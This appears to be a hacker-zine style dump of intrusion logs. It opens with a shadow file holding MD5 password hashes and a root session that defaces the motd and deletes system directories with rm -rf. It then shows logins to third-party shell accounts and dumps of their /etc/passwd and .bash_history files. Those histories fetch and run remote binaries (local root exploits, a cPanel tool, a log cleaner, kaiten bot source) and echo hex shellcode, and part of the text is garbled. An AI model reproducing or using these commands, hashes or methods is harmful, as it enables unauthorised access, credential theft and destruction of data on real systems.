adm:*:12713:0:99999:7:::
lp:*:12713:0:99999:7:::
sync:*:12713:0:99999:7:::
shutdown:*:12713:0:99999:7:::
halt:*:12713:0:99999:7:::
mail:*:12713:0:99999:7:::
news:*:12713:0:99999:7:::
uucp:*:12713:0:99999:7:::
operator:*:12713:0:99999:7:::
games:*:12713:0:99999:7:::
gopher:*:12713:0:99999:7:::
ftp:*:12713:0:99999:7:::
nobody:*:12713:0:99999:7:::
rpm:!!:12713:0:99999:7:::
vcsa:!!:12713:0:99999:7:::
nscd:!!:12713:0:99999:7:::
sshd:!!:12713:0:99999:7:::
rpc:!!:12713:0:99999:7:::
rpcuser:!!:12713:0:99999:7:::
nfsnobody:!!:12713:0:99999:7:::
mailnull:!!:12713:0:99999:7:::
smmsp:!!:12713:0:99999:7:::
pcap:!!:12713:0:99999:7:::
apache:!!:12713:0:99999:7:::
dbus:!!:12713:0:99999:7:::
xfs:!!:12713:0:99999:7:::
named:!!:12713:0:99999:7:::
ntp:!!:12713:0:99999:7:::
canna:!!:12713:0:99999:7:::
wnn:!!:12713:0:99999:7:::
mysql:!!:12717::::::
cpanel:*:12717::::::
pd:$1$uhg.zYhe$J95A9VShfoyJjszYxDIyp0:12736:0:99999:7:::
fearsom:$1$HdECJxCx$K3.S9NOQJmRhnLy06AcA/1:12764:0:99999:7:::
jugga:$1$IgmOM6Dh$nhyEfZufpWzcJkk7HjiYl0:12765:0:99999:7:::
-bash-2.05b# echo 'sdc > *' > /etc/motd
-bash-2.05b# rm -rf /var/
rm: cannot remove directory `/var//tmp': Device or resource busy
-bash-2.05b# rm -rf /home
-bash-2.05b# rm -rf /etc/
-bash-2.05b# rm -rf /root/*
-bash-2.05b# rm -rf /
rm: cannot remove directory `//boot': Device or resource busy
rm: cannot remove `//dev/pts/0': Operation not permitted
rm: cannot remove directory `//dev/shm': Device or resource busy
rm: cannot remove `//proc/scsi/scsi': Operation not permitted
rm: cannot remove `//proc/crypto': Operation not permitted
rm: cannot remove `//proc/mdstat': Operation not permitted
rm: cannot remove `//proc/pci': Operation not permitted
rm: cannot remove `//proc/ide/via': Operation not permitted
rm: cannot remove `//proc/ide/drivers': Operation not permitted
rm: `//proc/ide/hdc' changed dev/ino: Operation not permitted
-bash-2.05b# rm -rf /usr/
-bash-2.05b# rm -rf /bin
-bash-2.05b# ls
-bash: ls: command not found
-bash-2.05b# rm -rf /
-bash: /bin/rm: No such file or directory
-bash-2.05b# w
-bash: w: command not found
-bash-2.05b# lolz
-bash: lolz: command not found
-bash-2.05b# your toasted
-bash: your: command not found
0f c0urs3 w3 rm'd h1m. r0tt3nb0y s4y g00dn1ght.
19.txt-~-~-~ intrusion into atomix's personal space
menot@dodo: /dev/penis/ $ ssh reflux.dyndns.org -latomix
atomix's password:
Authentication successful.
*** Reflux Shell Server (Achilles) ***
This is the reflux shell server (achilles). This shell is to be used for education and security purposes. If you
do not plan to use this server for those purposes, your account will be disabled, and please do not be an annoyance
to the other users on this system either.
Rules:
1. DO NOT use any form of DoS/DDoS, Flooding, or other disturbance tools or mechanisms, exploits or undermining
tools that would result in a denial of service on this system or any other system on the internet or network.
2. DO NOT access any other machine ILLEGALLY or any other system on this network without proper permission(s) from
this system or network.
3. DO NOT run BNC's, BOT's, or any other form of irc communication with the exception of IRSSI which is pre-installed.
4. DO NOT try to exploit, hack, DoS, or get into anything you shouldn't be able to on this system unless you are
auditing the system (carefully) and will be nice and tell me if you find a bug or problem.
5. DO NOT abuse this system in any way, shape, or form intentionally.
~~~~~HAVE A NICE DAY!~~~~~
atomix@achilles atomix $ ls -al
total 56
drwx------ 8 atomix users 4096 Mar 14 11:04 .
drwxr-xr-x 29 root root 4096 Mar 17 12:05 ..
-rw------- 1 atomix users 2796 Mar 19 14:45 .bash_history
-rw-r--r-- 1 atomix users 229 Mar 13 07:45 .bash_profile
-rwxr-xr-x 1 atomix users 357 Mar 13 07:45 .bashrc
drwx------ 2 atomix users 4096 Mar 13 07:45 .fluxbox
-rw-r--r-- 1 atomix users 124 Mar 13 07:45 .gtkrc
-rw-r--r-- 1 atomix users 152 Mar 13 07:45 .gtkrc-2.0
drwxr-xr-x 2 atomix users 4096 Mar 13 07:45 .icewm
drwxr-xr-x 2 atomix users 4096 Mar 13 07:45 .icons
drwx------ 2 atomix users 4096 Mar 13 08:19 .irssi
drwx------ 7 atomix users 4096 Mar 13 07:45 .sylpheed
drwxr-xr-x 5 atomix users 4096 Mar 13 07:45 .xfce4
-rw-r--r-- 1 atomix users 2833 Mar 14 13:18 deception-v01.txt
atomix@achilles atomix $ cat .bash_history
passwd
w
who
ps aax
ps aux
id;uname -a
cat /etc/*release
env
ls /
ls /usr
cat /etc/*version
env
ls
wget http://neftaly.net/atomix/nixfo-ng-1.6/nixfo
chmod +x nixfo
./nixfo force
ls
rm -rf nixfo
env
set
ls /etc
ls --color /etc
ls /etc/firewall
for IWPATH in /usr/{bin,sbin} /usr/local/{bin,sbin} /sbin ; do if [ -x $IWPATH/iwconfig ] ; then break ; fi; done
echo PATH
echo $PATH
for IWPATH in /usr/{bin,sbin} /usr/local/{bin,sbin} /sbin ; do echo $IWPATH; if [ -x $IWPATH/iwconfig ] ; then break ; fi; done
whereis iwconfig
ls /usr/bin|grep iwconfig
ls
for IWPATH in /usr/{bin,sbin} /usr/local/{bin,sbin} /sbin /bin; do if [ -x $IWPATH/iwconfig ] ; then echo $IWPATH/iwconfig; fi; done
for FINDPATH in /usr/{bin,sbin} /usr/local/{bin,sbin} /sbin /bin; do if [ -x $FINDPATH/iwconfig ] ; then FINDPATH=$IWPATH ; fi; done
$FINDPATH/find /bin /opt /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin /sbin -user root -perm -4000 -print > /tmp/tempsuids
$FINDPATH/find /bin /opt /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin /sbin -user root -perm -2000 -print >> /tmp/tempsuids
$FINDPATH/find /bin /opt /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin /sbin -user root -perm -6000 -print >> /tmp/tempsuids
done
cat /tmp/tempsuids | sort | uniq &> /tmp/suids
rm -rf /tmp/tempsuids
pico test.sh
sh test.sh
chmod +x test.sh
./test.sh
pico test.sh
./test.sh
pico test.sh
ls /bin
./test.sh
pico test.sh
./test.sh
whereis find
pico test.sh
whereis find
./test.sh
pico test.sh
./test.sh
pico test.sh
./test.sh
pico test.sh
./test.sh
pico test.sh
./test.sh
pico test.sh
./test.sh
pico test.sh
./test.sh
pico test.sh
./test.sh
pico test.sh
./test.sh
pico test.sh
./test.sh
pico test.sh
./test.sh
pico test.sh
./test.sh
pico test.sh
./test.sh
pico test.sh
./test.sh
pico test.sh
wget http://neftaly.net/atomix/nixfo-ng-1.6/nixfo;chmod +x nixfo
./nixfo force
ls
BitchX
irssi
irssi
irssi
killall irssi
irssi
ls
cat test.sh
rm -rf test.sh
ls
rm -rf nixfo
ls
w
ls /tmp
cat /tmp/suids
rm -rf /tmp/suids
w
who
ls
ls
ls /tmp
ls
cat decep*
cat decep*
http://neftaly.net/atomix/nixfo-ng-1.6/nixfo;chmod +x nixfo
wget http://neftaly.net/atomix/nixfo-ng-1.6/nixfo;chmod +x nixfo
wget http://neftaly.net/atomix/nixfo-ng-1.6/nixfo;chmod +x nixfo
wget http://www.neftaly.net/atomix/nixfo-ng-1.6/nixfo;chmod +x nixfo
wget http://www.neftaly.net/atomix/nixfo-ng-1.6/nixfo;chmod +x nixfo
host neftaly.net
ping neftaly.net
ping www.neftaly.net
lynx atomix.wtf.la
ping google.com
lynx atomix.wtf.la
w
nmap
exit
ls
w
uname -na
ls -l
more deception-v01.txt
cat /etc/*version
telnet ns3.host1.biz 23859
ls -la
ps aux
uname -na
cdf /
cd /
ls
more MyLinux/
cd MyLinux/
ls
ls -l
mvii-tool
mii-tool
uname -na;id
ls
ls 0l
ls -l
cd usb
ls
ls -l
cd ~
ls
more deception-v01.txt
cd /etc
ls
exit
atomix@achilles atomix $ ls -al
total 56
drwx------ 8 atomix users 4096 Mar 14 11:04 .
drwxr-xr-x 29 root root 4096 Mar 17 12:05 ..
-rw------- 1 atomix users 2796 Mar 19 14:45 .bash_history
-rw-r--r-- 1 atomix users 229 Mar 13 07:45 .bash_profile
-rwxr-xr-x 1 atomix users 357 Mar 13 07:45 .bashrc
drwx------ 2 atomix users 4096 Mar 13 07:45 .fluxbox
-rw-r--r-- 1 atomix users 124 Mar 13 07:45 .gtkrc
-rw-r--r-- 1 atomix users 152 Mar 13 07:45 .gtkrc-2.0
drwxr-xr-x 2 atomix users 4096 Mar 13 07:45 .icewm
drwxr-xr-x 2 atomix users 4096 Mar 13 07:45 .icons
drwx------ 2 atomix users 4096 Mar 13 08:19 .irssi
drwx------ 7 atomix users 4096 Mar 13 07:45 .sylpheed
drwxr-xr-x 5 atomix users 4096 Mar 13 07:45 .xfce4
-rw-r--r-- 1 atomix users 2833 Mar 14 13:18 deception-v01.txt
atomix@achilles atomix $ w
15:36:04 up 6 days, 8:09, 3 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
atomix@achilles atomix $ ps aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
atomix 13264 0.0 1.1 6144 3028 ? R 15:34 0:00 sshd: atomix@pts/1
atomix 13265 0.0 0.9 2416 2396 pts/1 S 15:34 0:00 -bash
atomix 13283 0.0 0.5 2832 1436 pts/1 R 15:36 0:00 ps aux
atomix@achilles atomix $ cat /etc/passwd
root:x:0:0::/root:/bin/bash
sshd:x:33:33:sshd:/:
nobody:x:99:99:nobody:/:
tal0n:x:1000:100::/home/tal0n:/bin/bash
d4rkeagle:x:1001:100::/home/d4rkeagle:/bin/bash
vile:x:1002:100::/home/vile:/bin/bash
atomix:x:1003:100::/home/atomix:/bin/bash
nelix:x:1004:100::/home/nelix:/bin/bash
bsdaemon:x:1005:100::/home/bsdaemon:/bin/bash
w3b:x:1006:100::/home/w3b:/bin/bash
xaxisx:x:1007:100::/home/xaxisx:/bin/bash
oedipus:x:1008:100::/home/oedipus:/bin/bash
cynical:x:1009:100::/home/cynical:/bin/bash
skilar:x:1010:100::/home/skilar:/bin/bash
siko:x:1011:100::/home/siko:/bin/bash
hexdump:x:1012:100::/home/hexdump:/bin/bash
coki:x:1013:100::/home/coki:/bin/bash
commo:x:1014:100::/home/commo:/bin/bash
rob:x:1015:100::/home/rob:/bin/bash
dodo:x:1016:100::/home/dodo:/bin/bash
pxr:x:1017:100::/home/pxr:/bin/bash
xires:x:1018:100::/home/xires:/bin/bash
trash:x:1019:100::/home/trash:/bin/bash
attaq:x:1020:100::/home/attaq:/bin/bash
div0xx:x:1021:100::/home/div0xx:/bin/bash
bugreload:x:1022:100::/home/bugreload:/bin/bash
segment:x:1023:100::/home/segment:/bin/bash
esteban:x:1024:100:,,,:/home/esteban:/bin/bash
syke:x:1025:100:,,,:/home/syke:/bin/bash
warbody:x:1026:100:,,,:/home/warbody:/bin/bash
atomix@achilles atomix $ exit
logout
Connection to reflux.dyndns.org closed.
menot@dodo: /dev/penis/ $ ssh neftaly.net -ltheory
theory's password:
Authentication successful.
-jailshell-2.05b$ ls -al
total 2190
drwx--x--x 14 theory theory 1024 Dec 10 15:42 .
drwxr-xr-x 3 root theory 1024 Nov 25 00:14 ..
-rw------- 1 theory theory 13916 Dec 11 07:51 .bash_history
-rw------- 1 theory theory 20 Dec 10 15:41 .contactemail
-rw------- 1 theory theory 21980 Nov 25 21:49 .cpanel-ducache
drwxr-xr-x 2 theory theory 1024 Nov 24 22:25 .fantasticodata
drwx------ 2 theory theory 1024 Dec 5 13:41 .gnupg
drwxr-xr-x 5 theory theory 1024 Nov 24 21:09 .htpasswds
-rw------- 1 theory theory 15 Dec 10 15:41 .lastlogin
drwx------ 3 theory theory 1024 Nov 24 21:09 .neomail
-rw------- 1 theory theory 1024 Nov 25 07:04 .rnd
-rw------- 1 theory theory 24 Nov 4 11:17 .spamkey
drwx------ 2 theory theory 1024 Nov 24 21:10 .ssh
drwx------ 2 theory theory 1024 Dec 10 15:42 .trash
-rw-r--r-- 1 theory theory 1058725 May 28 2004 e107v616.tar.gz
-rw-r--r-- 1 theory theory 1058725 May 28 2004 e107v616.tar.gz.1
-rw-r--r-- 1 theory theory 14763 Dec 10 08:41 e107v616.tar.gz?use_mirror=optusnet
drwxr-x--- 4 theory mail 1024 Dec 3 14:07 etc
drwxrwx--- 4 theory mail 1024 Dec 9 07:15 mail
-rwx------ 1 theory theory 40264 Nov 29 17:10 pkgacct
drwxr-xr-x 4 theory theory 1024 Dec 2 15:18 public_ftp
drwxr-xr-x 9 theory theory 1024 Dec 10 16:39 public_html
drwx------ 4 theory theory 1024 Nov 25 02:12 ssl
drwx------ 7 theory theory 1024 Dec 7 18:00 tmp
lrwxrwxrwx 1 root root 11 Nov 27 17:12 www -> public_html
-jailshell-2.05b$ cat .htpasswds
cat: .htpasswds: Is a directory
-jailshell-2.05b$ cat .bash_history
pico nixfo
./nixfo force
pico nixfo
pico+243 nixfo
pico +243 nixfo
./nixfo force
pico +243 nixfo
./nixfo force
pico +243 nixfo
./nixfo force
pico +243 nixfo
./nixfo force
echo $0 | grep jail
pico +243 nixfo
echo $0 | grep jail
./nixfo force
echo $0 | grep jail
pico +243 nixfo
./nixfo force
pico +243 nixfo
./nixfo force
pico +243 nixfo
./nixfo force
pico +243 nixfo
./nixfo force
pico +243 nixfo
./nixfo force
pico +243 nixfo
./nixfo force
pico +243 nixfo
./nixfo force
pico +243 nixfo
./nixfo force
pico +243 nixfo
./nixfo force
env
set
whereis /usr/local/cpanel/bin/jailshell
/usr/local/cpanel/bin/jailshell
ls /usr/local/cpanel
echo $BASH | grep jail
pico +243 nixfo
ls /
pico +243 nixfo
./nixfo force
pico +243 nixfo
./nixfo force
pico +243 nixfo
./nixfo force
pico +243 nixfo
ls
./nixfo force
pico ChangeLog
ls
pico nixfo
pico ChangeLog
pico nixfo
pico ChangeLog
pico nixfo
pico ChangeLog
w
su -
su root
ssh root@localhost
ps aux
ps ax
w
ps aux|grep sshd
kill -9 1844
ls
cd www
cd atomi
cd atomix
ls
cat atomix.asc
ls
pico ie.php
ls
pico ie.php
ls
cd ..
ls
pwd
cat robots.txt
ls jared
ls JaRed
ls
ls
cd atomix
ls
ls
w
cd www
ls
cd atomix
ls
ls /var/log
dmesg
car /var/log/dmesg
cat /var/log/dmesg
ls -al /var/log
ls /var/log/apache
ls /var/log
ls /var/log/httpd
ls
cd nixfo-ng-1.5
cd ./nixfo-ng-1.6
cd ../nixfo-ng-1.6
ls
pwd
./nixfo
ls
cd ..
ln -s nixfo /home/theory/www/atomix/nixfo-ng-1.6/nixfo
ln -s /home/theory/www/atomix/nixfo-ng-1.6/nixfo nixfo
ls
ls -al
ls
nixfo
./nixfo
./nixfo force
cat /tmp/suids
w
finger ebotwhm
ls
ls
mkdir .l
cd .l
ls
pwd
wget http://atomix.0catch.com/a.out
chmod +x a.out
./a.out
rm -rf a.out
ps aux
killall a.out
kill -9 61809
kill -9 6180
ps aux
ls /usr/sbin
whereis portsentry
pico nixfo
ls -al|grep nixfo
pwd
cd ..
pico nixfo
./nixfo
./nixfo force
ls
cd nixfo-*1.6
pico ChangeLog
ls
pico nixfo
pico ChangeLog
ls
cat MD5
ls
pico TODO
ls
pico nixfo
./nixfo force
ls /
ls /sbin
ls /usr
ls /usr/sbin
ls /usr/bin
gnome-pty-helper
/usr/bin/gnome-pty-helper
/usr/sbin/gnome-pty-helper
ls
w
ls
cd ..
ls
pwd
ls
ssh root@213.149.42.210 -p23859
ssh root@ns3.host1.biz -p23859
ls
wget http://members.lycos.co.uk/skitzocs/14%20Track%2014.wma
ls
rm -rf 14*
ls
ls
cd ..
ls
wget http://linspire.com/dialersource/
ls
tar xvzf los*
cd los-aol*
ls
cd los-aol
ls
cd ..
ls
ls -al
cd ..
ls
rm -rf los-aol*
ls
cd atomix
ls
users
echo hey anna
cd x
cd public_html/x
cd public_html\x
cd home\public_htmlebotwhm
d x
free
times
df
du
ed
users
cd x
cd /x
WGET "http://prdownloads.sourceforge.net/e107/e107_v0617.zip?use_mirror=internap"
wget "http://prdownloads.sourceforge.net/e107/e107_v0617.zip?use_mirror=internap"
wget "http://internap.dl.sourceforge.net/sourceforge/e107/e107_v0617.zip"
id
uname -a
ls /etc
ls
ls /
exit
ls /
whoami
id
exit
users
echo hey
tcpdump
tcpdump
users
wget "http://ovh.dl.sourceforge.net/sourceforge/e107/e107_v0617.zip"
telnet irc.efnet.pl 6667
cd www
cd atomix
ls
pico papers.php
md5sum papers/hack-elec*
pico papers.php
cd " "
ls
mkdir " "
cd " "
ls
wget http://www.pi3.int.pl/progz/clean_logers/p_fake-LOG.c
mv p* log.c
pico log.c
make log
pico log.c
make log
ls
cd ..
ls
w
who
ls
cd cutenews
ls
cd data
ls
chmod 777 archives
chmod 777 backup
ls
cd archives
ls
pico index.htm
ls
pico *.news.arch
cd ..
ls
cd ..
ls
pico show_archives.php
cat ../../index.php
cat ../index.php
pico show_archives.php
cd ..
ls
ls
pico index.php
pico news.php
ls
cd cutenews
ls
pico index.php
ls
cd data
ls
cd ..
ls
cd inc
ls
pico shows.inc.php
ls
pico options.mdu
ls
pico shows.inc.php
cat shows.inc.php | grep <b>
cat shows.inc.php | grep <br>
cat shows.inc.php | grep "<br>"
cat shows.inc.php | grep "
pico shows.inc.php
l
ls
pico functions.inc.php
ls
pico main.mdu
ls
pico options.mdu
ls
cd ..
ls
pico search.php
ls
pico example1.php
pico example2.php
ls
cd data
ls
pico config.php
ls
cat comments.txt
ls backup
ls
ls
ls
ls
ls
ls
cat users*
ls
pico users.db.php
ls
cd ..
ls
cd ..
ls
cat spam.php
ls
cd ico
wget http://art.gnome.org/images/icons/other/Atom.png
mv Atom.png atom.png
cd ..
ls
ls
cd www
cd atomix
ls
cd ah*
ls
cd *
ls
cd *
ls
cd *
ls
ls -al
ls
cd ~
ls
cd www
cd atomix
ls
ls " "
cat " "/log.c
pico tcwipe
cat tcwipe
ls
w
who
ps aux
ls
cd stepmania
rm -rf naturall*
ls
cd ..
ls
cd www
cd atomix
ls
pico cnt.db
cat cnt.db
echo "8000" > cnt.db
ls -al|grep cnt
chmod 777 cnt.db
cat cnt.db
pico cnt.db
ls
rm -rf stepmania
ls
echo "8000
echo "8000" > cnt.db
cat cnt.db
ls /
ls -al /tmp
ls -alh /tmp
e
ls /
dh /
df /
df / -h
ls /lib
ls /lib -alh
pico contact.php
uptime
pico greets.php
nm
ls
wget http://atomix.0catch.com/cat
chw
who
ls
cd www
cd atomix
df -h
ls
cd ico
ls
ls
cd ..
ls
pico index.php
wget --help
wget --spider www.sco.com
wget --spider www.sco.com/
ls
wget --spider www.sco.com/*
wget --spider -v
wget --spider -v www.sco.com
wget --spider -v http://www.sco.com
wget --spider -v http://www.sco.com/kb
wget --spider -v http://www.sco.com//
ls
cd www
cd atomix
ls
cd poll
ls
pico booth.php
ls
ls admin
ls customize
cd ..
ls
pico index.php
pico index.php
ls /var
ls /var/log
ls /var/log/apache
ls /var/log/httpd
ls /
ls /etc/
ls /home/*
ls /home/*/www
ls /home/*/etc
ls /home/*/etc/nef*
ls /home/*/
ls /home/*/ssl
ls /home/*/tmp
ls /home/*/tmp/analog
ls /home/*/tmp/webalizer
w
ls
whomai
ls
ls ico
ls
ssh root@ns3.host1.biz -p23859
ls
strings kaiten
ls
ssh root@ns3.host1.biz -p23859
ls
pico index.php
w
ls
cat al
pico index.php
ls
cat md5.txt
pico md5.txt
ls
cd nixfo-ng-1.6
ls
cat ChangeLog
pico nixfo
ls
./nixfo force
ls /
ls /var
ls /var/log
ls /var/tmp
ls /
ls /usr
ls /usr/*|grep cpanel
ls /var|grep cpanel
ls /var/*|grep cpanel
ls /var/log|grep cpanel
ls /var/log
ls /
ls /home
ls /lib
ls /lib/modules
ls /lib/iptables
ls /
ls /tmp
cat /tmp/suids
ls /
ls /dev
ls /proc
cat /proc/version
cat /proc/stat
ls
wget wget http://atomix.0catch.com/sulocal
chmod +x sulocal
./sulocal
rm -rf sulocal
wget http://atomix.0catch.com/n-cpan
chmod +x n-cpan
./n-cpan
./n-cpan neftaly.net
w
strings n-cpan
./n-cpan vex.net
./n-cpan vex.org
./n-cpan vex.com
./n-cpan vector.net
w
ls
rm -rf n-cpan
wget http://atomix.0catch.com/xfux
chmod +x xfux
./xfux 0
./xfux 1
ls
rm -rf xfux
rm -rf fonts*
ls
cd ..
ls
links
lynx 12.216.20.109/~atomix/index.php
ls --help
ls -alturh
ls -altuh
find ~ -type f -atime 0 -ls
find ~ -type f -mtime 0 -ls
cd www
;s
ls
ls Nightstalker
ls codestone
cd atomix
ls
ssh root@ns3.host1.biz -p23859
cd www
cd atomix
ls
wget
wget http://gemal.dk/js/titles.js
pico titles.js
pico index.php
pico titles.js
pico index.php
wget http://gemal.dk/css/style.css
pico style.css
rm -rf style.css
pico style.css
pico index.php
ls
pico contact.php
pico boxen.php
ls
pico *.js
pico boxen.php
pico papers.php
pico *.js
cd www
cd atomi9x
cd atomix
ls
ls
cat md5.txt
md5sum -c md5.txt
mv md5.txt code
ls
cd code
ls
md5sum -c md5.txt
ls
rm -rf nixfo*.diff
ls
pico md5.txt
pico md5.txt
ls
md5sum nixfo-ng-1.5 >> md5.txt
md5sum nixfo-ng-1.5.tar.gz >> md5.txt
cat md5.txt
md5sum -c md5.txt
ls
cd ..
cd cutenews
ls
cd skins
ls
mkdir cutesky
cd cutesky
cd www
cd atomix
cd cutenews
cd skins
ls
cd cutesky
ls
wget http://www.cutephp.com/cutenews/addons/cute_sky.zip
unzip cute_sky.zip
ls
ls auto_archive
ls
pico README.txt
ls
ls ..
ls
ls ..
ls
mv *.gif sky* ..
ls
ls ..
ls
ls
cd ..
ls
rm -rf cutesky
ls
wget http://www.cutephp.com/cutenews/addons/modern.zip
unzip modern.zip
ls
rm -rf README.txt
ls
rm -rf modern.zip
ls
cd ..
cd ..
ls
w
ls
cd www
cd atomix
ls
ls ~/ssl
ls ~/ssl/certs
ls
cd www
time
cal
whereis time
time --help
what
ls
pwd
cd atomix
ls
id;uname -a
ps aux
cal
time
uptime
echo `time`
cat time
cd atomix
cd www
cd atomix
ls
cd www
cd atomix
ls
pico index.php
cd buttons
ls
wget http://gtmcknight.com/buttons/up/slashdot.gif
mv slashdot.gif 01.gif
wget http://gtmcknight.com/buttons/up/rtfm.png
mv rtfm.png 21.png
ssh root@ns3.host1.biz -p23859
ssh root@ns3.host1.biz -p23859
w
w
w
w
w
w
w
loadaverage
load
uptime
uptime
uptime
uptime
uptime
uptime
uptime
uptime
uptime
uptime
uptime
uptime
uptime
ps aux
cd www
cd atomix
cd nixfo-ng-1.6
pico nixfo
pico ChangeLog
ls
cd ..
ls
w
ls
cd nixfo-ng-1.6
pico nixfo
pico +1393 nixfo
pico ChangeLog
host neftaly.net
w
hostname
gpg
gpg --help
gpg --list-keys
cd www
cd atomix
gpg --import
gpg --import atomix.asc
ls
gpg --list-keys
gpg --help
gpg --gen-key
gpg --list-keys
gpg --armor --export honeynet@gmail.com > key.asc
cat key.asc
gpg --armor --export 64A414B4 > key.asc
cat key.asc
gpg --armor --export 64A414B4 > atomix.asc
cat contact.php
pico contact.php
cd www
cd atomix
ls
pico index.php
wget http://www.spoono.com/csst/tutorials/v4menucss/nav.js
pico index.php
pico index.php
pico nav.js
pico index.php
pico index.php
pico index.php
pico nav.js
pico index.php
pico style.css
l
ls
pico *.js
ls | grep js
pico titles.js
pico nav.js
pico index.php
pico style.css
pico index.php
pico style.css
pico style.css
pico nav.js
pico index.php
pico nav.js
pico style.css
ls
pico nav.js
pico index.php
pico style.css
pico nav.js
pico style.css
pico index.php
pico style.css
pico index.php
ls
cat projects.php
cat projects.php > about.php
pico about.php
pico history.php
cat papers.php
pico history.php
pico about.php
pico index.php
pico history.php
cd nixfo-ng-1.6
pico nixfo
cd ..
telnet davidson.dl.stevens-tech.edu 59999
pico index.php
cat nav.js
ls
pico index.php
pico +77 nav.js
pico index.php
pico nav.js
cat history.php
pico future.php
pico present.php
ls
cd www
cd atomix
ls
pico papers.php
cd papers
pico *rootwar*
pico *rootwar*
ls
rm -rf *rootwars*
ls
md5sum *roothack*
cd ..
ls
pico papers.php
ls
cd www
cd atomix
cd buttons
wget http://gtmcknight.com/buttons/up/css.png
png css* 11.png
mv css* 11.png
ls
cd ..
ls
uname -a
id;uname -a
ls
mkdir .
mkdir ...
cd ...
ls
ftp ftp.0catch.com
ls
chmod +x *
ls
./a.out
ls
ls
exit
ps aux | grep a.out
ls
exit
ls
ps aux | grep a.out
exit
ps aux | grep a.out
exit
cd www
cd atomix
ls
pico index.php
cd buttons
wget http://gtmcknight.com/buttons/up/slogo_css.png
mv slogo* 11.png
cd www
cd atomix
w
ls
cd code
ls
pico atomix-replace.sh
ls
md5sum atomix-replace.sh >> md5.txt
cat md5.txt | grep atomix-replace
cd ..
ls
pico code.php
hostname
host netaly.net
host neftaly.net
host www.neftaly.net
host 17024.fdcservers.net
host 17024.fdcservers.net
ls /var/run
strings /var/run/utmp
ls
cd nixfo-ng-1.6
ls
pico nixfo
pico nixfo
pico ChangeLog
pico /usr/include/utmp.h
ls /usr/include
man fwrite
ls
cd www
cd atomix
ls
users
nemo index.php
cd public_html
nemo index.php
users
ls
cd www
ls
cd atomix
ls
ls
pico kaiten.c
ls
rm -rf kaiten.c
ssh root@ns3.host1.biz -p23859
exit
cd www
cd atomix
rm -rf omgthug.jpg
/etc/ssl/misc/CA.sh -newca
cd www
cd atomix
ls
cd ico
wget http://www.jinx.com/images/banners/banner.jinx.23.gif
cd ..
ls
users
echo hey bitch
wget "http://voxel.dl.sourceforge.net/sourceforge/e107/e107v616.tar.gz"
wget "ified [text/html]
[ <=> ] 14,763 103.72K/s
08:41:56 (103.72 KB/s) - `e107v616.tar.gz?use_mirror=optusnet' saved [14763]
-jailshell-2.05b$ wget "http://optusnet.dl.sourceforge.net/sourceforge/e107/e107
v616.tar.gz"
--08:42:18-- http://optusnet.dl.sourceforge.net/sourceforge/e107/e107v616.tar.g
z
=> `e107v616.tar.gz.1'
Resolving optusnet.dl.sourceforge.net... done.
Connecting to optusnet.dl.sourceforge.net[198.142.1.17]:80... clear
`e107v616.tar.gz.1'
Resolving optusnet.dl.sourceforge.net... done.
Connecting to optusnet.dl.sourceforge.net[198.142.1.17]:80.. `e107v616.tar.gz.1'
Resolving optusnet.dl.sourceforge.net... done.
Connecting to optusnet.dl.sourceforge.net[198.142.1.17]:80.. `e107v616.tar.gz.1'
Resolving optusnet.dl.sourceforge.net... done.
Connecting to optusnet.dl.sourceforge.net[198.142.1.17]:80.. `e107v616.tar.gz.1'
Resolving optusnet.dl.sourceforge.net... done.
Connecting to optusnet.dl.sourceforge.net[198.142.1.17]:80.. `e107v616.tar.gz.1'
Resolving optusnet.dl.sourceforge.net... done.
Connecting to optusnet.dl.sourceforge.net[198.142.1.17]:80..
wget "http://unc.dl.sourceforge.net/sourceforge/e107/e107v616.tar.gz"
ftp
ls
cd www
cd atomix
ls
echo -e "\x55\x89\xe5\x57\x56\x53\xe8\x00\x00\x00\x00\x5b\x83\xc3\xf5\x83\xec\x2c\xfc\x8d\xb3\x59\x00\x00\x00\x89\xc7\xb9\x03\x00\x00\x00\x89\x45\xd4\xf3\xa5\x83\xe4\xf0\x66\xa5\x83\xec\x10\xba\x0e\x00\x00\x00\xb8\x04\x00\x00\x00\x8b\x4d\xd4\x53\xbb\x01\x00\x00\x00\xcd\x80\x5b\xb8\x01\x00\x00\x00\x53\xbb\x00\x00\x00\x00\xcd\x80\x5b\x8d\x65\xf4\x5b\x5e\x5f\xc9\xc3\x48\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x21\x0a\x00"
ls
clear
ls
tgset sgr0
ls
./nixfo
ls
wget http://www.packetstormsecurity.org/UNIX/misc/hexit.c
make hexit
rm -rf hexit.c
ls
ssh root@ns3.host1.biz -p23859
ls
w
who
ls
clamscan
clamscan *
ls
whereis clamscan
clamscan *
ls
ps aux | grep -v grep | grep ftpd | awk '{print $11}' | head -n 1 | tr '!@#$%^&*()-_=' '\0'
whereis proftpd
whereis pureftpd
ps aux | grep -v grep | grep ftpd | awk '{print $11}' | head -n 1 | tr '!@#$%^&*()-_=' '\0' | whereis
ps aux | grep -v grep | grep ftpd | awk '{print $11}' | head -n 1 | tr '!@#$%^&*()-_=' '\0' > whereis
ps aux | grep -v grep | grep ftpd | awk '{print $11}' | head -n 1 | tr '!@#$%^&*()-_=' '\0' > `whereis`
rm -rf whereis
ps aux | grep -v grep | grep ftpd | awk '{print $11}' | head -n 1 | tr '!@#$%^&*()-_=' '\0' < whereis
ps aux | grep -v grep | grep ftpd | awk '{print $11}' | head -n 1 | tr '!@#$%^&*()-_=' '\0' < `whereis`
ps aux | grep -v grep | grep ftpd | awk '{print $11}' | head -n 1 | tr '!@#$%^&*()-_=' '\0' | whereis
ps aux | grep -v grep | grep ftpd | awk '{print $11}' | head -n 1 | tr '!@#$%^&*()-_=' '\0'
whereis `ps aux | grep -v grep | grep ftpd | awk '{print $11}' | head -n 1 | tr '!@#$%^&*()-_=' '\0'`
whereis `ps aux | grep -v grep | grep ftpd | awk '{print $11}' | head -n 1 | tr '!@#$%^&*()-_=' '\0'` | awk '{print $2}'
whereis `ps aux | grep -v grep | grep ftpd | awk '{print $11}' | head -n 1 | tr '!@#$%^&*()-_=' '\0'` | awk '{print $2}'
ls
ssh root@ns3.host1.biz -p23859
ssh root@ns3.host1.biz -p23859
-jailshell-2.05b$ cat .ssh/known_hosts
